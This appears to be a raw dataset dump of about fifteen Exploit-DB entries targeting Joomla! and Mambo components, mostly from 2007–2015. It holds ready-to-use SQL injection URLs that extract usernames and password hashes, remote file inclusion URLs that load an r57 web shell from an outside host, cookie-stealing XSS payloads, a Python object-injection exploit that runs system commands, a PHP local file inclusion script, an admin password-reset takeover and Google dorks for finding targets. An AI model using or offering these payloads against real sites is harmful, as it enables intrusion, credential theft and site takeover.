deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31280
Description: Joomla! / Mambo Component Referenzen - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27926/info

The Joomla! and Mambo Referenzen component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_referenzen&Itemid=7&detail=-9999999+union/**/select/**/0x3a,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,concat(user
name,0x3a,password),0,0,0,0,0/**/from/**/jos_users/*
Exploit-DB #4691
Description: Joomla! / Mambo Component rsgallery 2.0b5 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-05
Author: K-159

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_86$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_86$2007] Mambo/Joomla Component rsgallery <= 2.0 beta 5 (catid) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : November, 30 th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv86-K-159-2007.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : rsgallery  
version       : <= 2.0 beta 5
Vendor        : http://www.rsdev.nl/
Description :

RSGallery is one of the most complete Gallery solutions for Joomla at this point

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "catid" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~

http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--

Dork:
~~~~
Google  : "option=com_rsgallery" or inurl:Ã“index.php?option=com_rsgalleryÃ“ 



Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
- use the latest version

Timeline:
~~~~~~~~

- 30 -11 - 2007 bug found
- 3  -12 - 2007 publish advisory
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, 'zizou' zautha - my lovely son, for all the luv, the tears n the breath
~ y3dips,the_day,m0by,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry,ketut,x16,k1tk4t,cyb3rh3b,opt1lc
~ newbie_hacker@yahoogroups.com
~ everyone [at] mac.web.id forum
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-12-05]
Exploit-DB #31595
Description: Joomla! / Mambo Component Showroom Joomlearn LMS - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-03
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28586/info

The Joomlearn LMS component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_lms&task=showTests&cat=-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/*
Exploit-DB #3557
Description: Joomla! / Mambo Component SWmenu 4.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-23
Author: Cold Zero

Exploit:
######################################################
#
# MAMBO Modules SWmenu 4.0 (ImageManager.php) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/8109/com_swmenufree4.0.zip
#
######################################################
#
# file :  /ImageManager/Classes/ImageManager.php
#
######################################################
#
# Dork :  index.php?option=com_swmenupro
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell
#
######################################################
#
# require_once($mosConfig_absolute_path."/administrator/components/com_swmenupro/ImageManager/Classes/Files.php");
#
######################################################
#
# Exploit :
#
#           Here one : http://www.example.com/MAMBO_path/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
#                 Or : http://www.example.com/MAMBO_path/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| | Kof2002 | |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-23]
Exploit-DB #3703
Description: Joomla! / Mambo Component Taskhopper 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-10
Author: Cold Zero

Exploit:
==================================================
Joomla/Mambo Component Taskhopper 1.1 (/inc/  mosConfig_absolute_path) RFI
==================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
==================================================
Homepage: www.Hack-Teach.com
==================================================
Script Site : http://taskhopper.com/One1
==================================================
/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
==================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-10]
Exploit-DB #9832
Description: Joomla! / Mambo Component Tupinambis - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: Don Tukulesto

Exploit:
#######################################################
## Mambo/Joomla SQL Injection Vulneralbility         ##
## Component : com_tupinambis 		             ##
## Release : September 23, 2009		     	     ##
## --------------------------------------------------##
##.---..-..-..-.,-..-..-..-.   .---..---..---..----. ##
##`| |'| || || . < | || || |__ | |-  \ \ `| |'| || | ##
## `-' `----'`-'`-'`----'`----'`---'`---' `-' `----' ##
##-------------------------------------------------- ##
#######################################################

[+] Author	: Don Tukulesto
[+] Homepage	: http://www.indonesiancoder.com
[+] Location	: Republik Indonesia

#######################################################

[ Software Information ]

[+] Software      : com_tupinambis
[+] Version	  : 1.0
[+] Vendor	  : www.tupinambis.net
[+] Download	  : http://www.onestopjoomla.com/extensions/auction/tupinambis/
[+] Vulnerability : SQL Injection
[+] Google Dork   : inurl:"com_tupinambis"

#######################################################
[ ExPL0!T ]

[+] Mambo : http://127.0.0.1/index.php?option=com_tupinambis&task=verproyecto&proyecto=-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,9,10,11+from+mos_users--

[+] Joomla : http://127.0.0.1/index.php?option=com_tupinambis&task=verproyecto&proyecto=-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,9,10,11+from+jos_users--

#######################################################

[ Greetings ]

[+] All of Indonesian Coder Member, M3NW5, mistersaint, gonzhack, m364tr0n, cyb3r_tr0n, TUCKER, Petrucii, Chercut,
    Senot, Joker, Quick_5ilv3r, ran, m4ho666, Den Bayan, vyc0d, bh4nd55, Den Awink
[+] All of Surabayahackerlink Member, Awan, Plaque, rey_cute, Tuex, XNITRO, DraCoola.com
[+] ServerIsDown.org, Jack-, Yadoy666 + tante Miya, kecemplungkalen, xshadow, H4ck3rKu
[+] Kill-9 Crew, kaMtiEz, Arianom, Pathloader, tiw0L,
[+] V3n0m, Str0ke, sp3x, todd, Antisecurity.org, and YOU !!!

[ SHOUT ]

Happy Eidul Fitri 1430H.

Minal Aidin Wal Faidzin.

[ SP3C!AL ]

lovely Emak, Bapak, Adek ku sayang (^_^)
Exploit-DB #35167
Description: Joomla! 1.0.x - 'ordering' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-06
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/45679/info

The Joomla! Search component is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/joomla1015/index.php?option=com_search&searchword=xss&searchphrase=any&ordering=newest%22%20onmousemove=alert%28document.cookie%29%20style=position:fixed;top:0;left:0;width:100%;height:100%;%
Exploit-DB #14722
Description: Joomla! 1.5 - URL Redirecting
Type: webapps
Platform: php
Date: 2010-08-24
Author: Mr.MLL

Exploit:
============================================
Joomla!   (Multiple) ExploiT

============================================

#  Powered  Joomla! 1.5 & All version Down  (Multiple)
 
 
# Author: Mr.MLL
# Published: 2010-08-24
# Verified: yes
# Download Exploit Code
# Download N/A
 
===
 
 
# Software :  http://www.joomla.org/download.html
# Vendor   :  http://www.joomla.org/
# Contact  :  Y-3@hotmail.com
 
===


<?php
    }

    if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    // checks for the presence of a return url
    // and ensures that this url is not the registration or login pages
        // If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
        if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
            mosRedirect( $return );
        } else {
            mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
        }
    } else {
        // If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
        if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
            mosRedirect( $mosConfig_live_site .'/index.php' );
        } else {
            mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
        }
    }

} else if ($option == 'logout') {
    $mainframe->logout();

    // JS Popup message
    if ( $message ) {
        ?>

=========
# ExploiT
 
    http://127.0.0.1/path/index.php?option=cookiecheck&return=http://Google.com/
 
 
=========

# Thanks : milw0rm.com & exploit-db.com  & offsec.com & inj3ct0r.com & www.hack0wn.com

exit ,, / Praise be to God for the blessing of Islam
Exploit-DB #38977
Description: Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
Type: webapps
Platform: php
Date: 2015-12-15
Author: Sec-1

Exploit:
'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)
Exploit-DB #3781
Description: Joomla! 1.5.0 Beta - 'pcltar.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-23
Author: Omid

Exploit:
Hi,
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`
or `production` sites."
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt
have a good security approach. Anyway, there is a remote file inclusion
in Joomla 1.5.0 Beta :

File /libraries/pcl/pcltar.php, Line 74 :
 if (!defined("PCLERROR_LIB"))
 {
       include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);
 }

POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?

The original advisory (in Persian) is located at :
http://www.hackers.ir/advisories/joomla.html


- Omid

# milw0rm.com [2007-04-23]
Exploit-DB #11263
Description: Joomla! 1.5.12 - read/exec Remote files
Type: webapps
Platform: php
Date: 2010-01-26
Author: Nikoal Petrov

Exploit:
<?php
	/*
		Copyright (c) ITIX LTD

		This program is free software: you can redistribute it and/or modify
		it under the terms of the GNU General Public License as published by
		the Free Software Foundation, either version 3 of the License, or
		(at your option) any later version.

		This program is distributed in the hope that it will be useful,
		but WITHOUT ANY WARRANTY; without even the implied warranty of
		MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
		GNU General Public License for more details.

		You should have received a copy of the GNU General Public License
		along with this program.  If not, see <http://www.gnu.org/licenses/>.

		TITLE:		Joomla 1.5.12 read/exec remote files
		AUTHOR:		Nikola Petrov (vp.nikola@gmail.com)
		VERSION:	1.0
		LICENSE:	GNU General Public License

		Platform: Joomla 1.5.12
		Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
		Date: 27.08.2009
	*/
	
	print "\n\n#########################################################################\n";
	print "# LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
	print "# Date: 27.08.2009\n";
	print "#########################################################################\n\n";

	if($argc < 4) {
		print "usage: php ". $argv[0] ." host path file [port] [debug]\n";
		print "example: php ". $argv[0] ." localhost /j1512 ../../../../../../../../wamp/www/j1512/images/stories/duck.jpg 80 1\n";
		exit();
	}
	
	$Host = $argv[1];
	$Path = $argv[2] . '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php';
	$File = $argv[3] . '%00';
	
	empty($argv[4]) ? $Port = 80 : $Port = $argv[4];
	empty($argv[5]) ? $Debug = 0 : $Debug = 1;

	function HttpSend($aHost, $aPort, $aPacket) {
		$Response = "";

		if(!$Socket = fsockopen($aHost, $aPort)) {
			print "Error connecting to $aHost:$aPort\n\n";
			exit();
		}
		
		fputs($Socket, $aPacket);
		
		while(!feof($Socket)) $Response .= fread($Socket, 1024);
		
		fclose($Socket);
		
		return $Response;
	}
	
	$Packet  = "GET {$Path} HTTP/1.0\r\n";
	$Packet .= "Host: {$Host}\r\n";
	$Packet .= "Cookie: tinybrowser_lang={$File}\r\n";
	$Packet .= "Connection: close\r\n\r\n";
	
	if($Debug) {
		print "Request to '$Host:$Port':\n";
		print $Packet;
	}
	
	print HttpSend($Host, $Port, $Packet);
?>
Exploit-DB #15979
Description: Joomla! 1.5.22 / 1.6.0 - 'com_mailto' Spam Mail Relay
Type: webapps
Platform: php
Date: 2011-01-12
Author: Jeff Channell

Exploit:
# Exploit Title: Joomla! Spam Mail Relay
# Date: 11 Jan 2011
# Author: Jeff Channell
# Software Link: http://www.joomla.org/
# Versions: 1.5.22, 1.6.0


Joomla! 1.5.22 & 1.6.0 both allow spam email to be relayed to 
unsuspecting victims via the core com_mailto component.

Tested using the following URL:

http://localhost/j/index.php?option=com_mailto&tmpl=component&template=beez_20&link=aHR0cDovL2xvY2FsaG9zdC9qL2luZGV4LnBocD94PXkgSGFpIEkgYW0gYSBzcGFtIG1lc3NhZ2UhIFdvdWxkIHlvdSBsaWtlIHRvIGJ1eSBhbGwgc29ydHMgb2YgZmFrZSBzdHVmZj8gU1BBTSBTUEFNIFNQQU0=

where parameter "link" is the base64_encoded string:

http://localhost/j/index.php?x=y Hai I am a spam message! Would you like 
to buy all sorts of fake stuff? SPAM SPAM SPAM

This is important as the domain at the beginning must match the domain 
being relayed against.

Now, fill out the form with victim email as "Email To" parameter & send.

These issues have been reported on each version's respective bug tracker:
Joomla! 1.6.0: 
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=24288
Joomla! 1.5.22: 
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=24289
Exploit-DB #6234
Description: Joomla! 1.5.x - 'Token' Remote Admin Change Password
Type: webapps
Platform: php
Date: 2008-08-12
Author: d3m0n

Exploit:
#####################################################################################
####                     Joomla 1.5.x Remote Admin Password Change               ####
#####################################################################################
#                                                                                   #
# Author: d3m0n (d3m0n@o2.pl)                                                       #
# Greets: GregStar, gorion, d3d!k                                                   #
#                                                                                   #
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
#                                                                                   #
#####################################################################################



File : /components/com_user/controller.php

#####################################################################################
Line : 379-399
 
	function confirmreset()
	{
		// Check for request forgeries
		JRequest::checkToken() or die( 'Invalid Token' );

		// Get the input
		$token = JRequest::getVar('token', null, 'post', 'alnum');              < --- {1} 
                  
		// Get the model
		$model = &$this->getModel('Reset');

		// Verify the token
		if ($model->confirmReset($token) === false)   < --- {2}
		{
			$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
			$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
			return false;
		}

		$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
	}
	
#####################################################################################
	
File : /components/com_user/models/reset.php

Line: 111-130 	
	
	
	
	function confirmReset($token)
	{
		global $mainframe;

		$db	= &JFactory::getDBO();
		$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ---- {3} 

		// Verify the token
		if (!($id = $db->loadResult()))
		{
			$this->setError(JText::_('INVALID_TOKEN'));
			return false;
		}

		// Push the token and user id into the session
		$mainframe->setUserState($this->_namespace.'token',	$token);
		$mainframe->setUserState($this->_namespace.'id',	$id);

		return true;
	}
#####################################################################################



{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

# milw0rm.com [2008-08-12]
Exploit-DB #33378
Description: Joomla! 1.5.x - 404 Error Page Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-23
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37148/info

Joomla! is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Unspecified versions of Joomla! 1.5.x prior to 1.5.12 are vulnerable. 

http://www.example.com/%3Cscript%3Ealert(document.cookie)%3C/script%3E